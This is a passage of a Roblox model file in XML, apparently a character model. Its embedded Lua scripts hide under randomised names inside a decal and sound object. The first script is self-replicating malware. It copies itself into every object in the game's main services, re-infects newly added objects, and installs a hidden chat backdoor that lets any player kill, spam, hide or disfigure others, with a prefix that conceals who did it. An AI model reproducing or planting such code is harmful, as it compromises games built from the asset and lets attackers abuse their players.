be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX21">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">194</int>
					<CoordinateFrame name="CFrame">
						<X>2</X>
						<Y>3.29890823</Y>
						<Z>107.5</Z>
						<R00>-1</R00>
						<R01>-3.96310834e-021</R01>
						<R02>-3.01117346e-022</R02>
						<R10>-3.96310834e-021</R10>
						<R11>1</R11>
						<R12>5.68789786e-021</R12>
						<R20>3.01117346e-022</R20>
						<R21>5.68789786e-021</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">0</float>
					<float name="LeftParamB">0</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Torso</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">0</float>
					<float name="RightParamB">0</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>2</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX22">
					<Properties>
						<token name="Face">5</token>
						<string name="Name">roblox</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><binary>iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAAK3RFWHRDcmVhdGlvbiBUaW1l
AFR1ZSA0IE9jdCAyMDA1IDEyOjA4OjU2IC0wODAwjyq8YAAAAAd0SU1FB9UKBBMOFj/CLTwA
AAAJcEhZcwAAHsIAAB7CAW7QdT4AAAAEZ0FNQQAAsY8L/GEFAAAYfklEQVR42u3dCXxU1b0H
8N+dfTKTZLKRPWxhE0UUQVllrSDu2LovrQjPSi2tW6346mtdWhG1reKG9VVFrX70U1d8FhG0
LCqoqICyJkACJCRkkpnMPvedc2cymSSzhKWl4O/7+QwzmTn33nPv3HPO/5x75gIQERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREREREREREREdX5SDSbxzzs9U75NPAIHA0c53WrqBA1Ewfz6y
zjkHYbcbe267Fa0LHz/a2Tpqsh955OeFc+f+Kf69qkmTWvwffGBPtkz/gzw/6NijO9oZIKKj
p1s1vOv11wy1F81wiZdm+bcqF9QdwbojHO763uGsP259+unTzwu9996TCIWKoYjdVY5Qo6aq
kUfnt8X6lc7bSJL2sPazm8dMFenachPfom85+eRl6vr1E7osG5dXRgDHv259wVUjRy7zr16t
nSwhmw2GVavgGDTwyORAnGsH7PZYt8LTpxLlb/4dof79Dn2nGhvh/tlN8L36avtmdHrkOJug
mE1HJNvh5ma4z78AwZUrY+8Fsx3Ir9vbpQJQfT64LpqB4D/+0f5eaSnsr70G4ylDu1YY3eCe
dxf8oovTVlgbX1iMvj+6uGu6d96Ff8YMrcLIeeRhR8HcXzj3PbPoTOd1Mz+Uh0oufUCk6Ttl
UiRf7lY05eVp6VkBHP+69QVvjjT68OsNaK6uwaDSHkc0Ew1z5iD82GPw6I3Y9MEqnHXmaYe9
zrDfj/3iRFZcLi3zX//qbky6/zcplwlC7d7Ko7yr18AzapT2utVkgXf5P9F35KkJ06p796Gp
pEQrsHV2B/QbNqB/RTHCB7PBTpqvuRah556DV7yu/exrnHXaiWgQ+9B5L7yzZsPz9NMwDh26
unjhYxN3jjvzAIJBi/zsk+kzMO3NV6BviwB8XtRbMwCDwdc/ELAc9hdB/9EMB5P4yx7lOCs3
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
n5ub/i4lRERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE
RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE
RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE
RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE
RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE
RERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERE
REREREREREREREREREREREREREREREREREREREREREREREREREREREREx6v/B5qI37vMmLq3
AAAAAElFTkSuQmCC</binary></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX23">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">evbgxllxo</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX24">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">hyfrs2</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

